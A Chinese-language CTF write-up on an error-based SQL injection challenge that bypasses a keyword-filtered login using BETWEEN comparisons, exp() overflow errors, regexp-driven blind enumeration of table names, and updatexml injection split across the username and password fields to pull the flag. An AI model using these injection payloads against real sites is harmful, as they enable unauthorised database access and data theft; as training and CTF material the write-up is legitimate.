题目来源
题目给的是一个一个登陆界面,源代码提示了数据库查询语句:
1 | $sql="select * from users where username='$username' and password='$password'"; |
开始以为登陆上去就行了,于是尝试万能密码、sqlmap post登录框等等,发现有关键字识别。
比如分号、等号、井号等等。
经过多次尝试,发现一个可以利用的payload
1 | username=admin&password=' or 'bw' BETWEEN 'aw' AND 'cw%00 |
但是登陆进去后并没有想象中的flag,只是告诉你成功进来了。再结合这道题的名字:报错注入,推测应该是盲注。
盲注的一般套路在这里不行,因为他把ascii、substring、substr、mid甚至limit都过滤了。放弃常规思路。
后来查到利用exp溢出缺陷注入,具体payload如下:
1 | 1' or exp(~(select * from(select (database())a)) and 'bw' BETWEEN 'aw' AND 'cw%00 |
这句话可以直接查询到数据库名,为 error_based_hpf.
(exp原理看链接)
需要注意的是,这个payload后面一定要跟 and ‘bw’ BETWEEN ‘aw’ AND ‘cw%00,原因是原来的查询语句后面有个分号,只用exp的话无法闭合整条语句。
查到数据库之后就是爆破表名,开始的时候用的是这个:
1 | username=admin&password=1' or exp(~(select * from(select table_name from information_schema.tables where table_schema REGEXP 'error_based_hpf')a)) and 'bw' BETWEEN 'aw' AND 'cw%00 |
但是提示说查询结果超出一行,无法显示,考虑用limit。但是limit被过滤,利用limit一位一位暴不行,换思路。
exp爆破有这样一个方法:
1 | select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema regexp 'error_based_hpf' and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x |
可以将整个数据库的结构爆出来,包括表名和字段,但是悲剧的是里面必须有等号,这个payload里为啥有@:=这个组合还没搞明白,但是没了就不行,用别的替换也不行。(like也被过滤)
再换思路
百度的时候发现一种方式正则注入,通过regexp实现(之前测试的时候的它代替等号),于是有以下payload:
1 | select * from user where username='admin' and 'passwd'=1 or exp(~(select * from(select 1 from information_schema.tables where table_schema regexp 'error_based_hpf' and table_name regexp '^a[a-z]')a)) and 'bw' BETWEEN 'aw' AND 'cw' |
这个和limit类似,也是一位一位的爆破,每次payload改变的地方在就在 ‘^a[a-z]’ 这里,首先猜解第一位,从a到z不断增加,再到数字,知道页面变化不同。第二位就是在第一位出来的基础上再从a开始猜解,以此类推。
但是还有个小问题,正则表达式中短杠被过滤了(o(╥﹏╥)o),真是日了狗。换一下:
1 | username=admin&password=1' or exp(~(select * from(select 1 from |
这种方法得到两个数据表:ffll44jj,user。
然后构造爆破字段的payload:
1 | username=admin& |
这个在本地测试是通过的,但是、、、、、
服务器又TM报错了
1 | Got error 28 from storage engine |
查了一下说是与服务器缓存不足有关。艹,上个题也是这样,快拿到flag了出现这个错误,但是我感觉payload没问题呀,wc
下面是爆破表名的脚本,爆破字段的话那个payload还不行(日狗),下次通过了再更新、、、
1 | # -*- coding: utf-8 -*- |
PS:后来我用别人的wp还是报那个错,应该是服务器问题了
大佬的payload
1 | 获取表名字 |
1 | 获取字段名 |
1 | 获取flag |
另一个思路是在username字段进行利用updatexml报错函数进行http分割注入
1 | username=1′ and updatexml/*&password=*/(1,concat(0x24,(select database()),0x24),1) and ‘1 |
PS:补充一下 updatexml 报错注入
updatexml报的错是Xpath格式错误:
1 | ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ |
为什么报这个错呢,这就要从updatexml函数说起:
1 | UPDATEXML (XML_document, XPath_string, new_value); |
函数有三个参数,第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变XML_document中符合XPATH_string的值
如果我们构造如下语句:
1 | http://www.hack.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
updatexml注入一条龙
回到题目
我们用的payload如下:
1 | username=1' and updatexml/*&password=*/(1,concat(0x24,(select database()),0x24),1) and '1 |
这里首先解释一下注释的问题,首先题目要求必须post username和password参数,不从数据库语法上看,这两个参数是存在的(url不会把password当成注释),但是带到数据库里执行是,password被注释了,因此构成updatexml注入。
获取flag的payload如下:
1 | username=' or updatexml/*&password=123*/(1,concat(0x7e,(select * from (select * from ffll44jj)c),0x7e),1) or ' |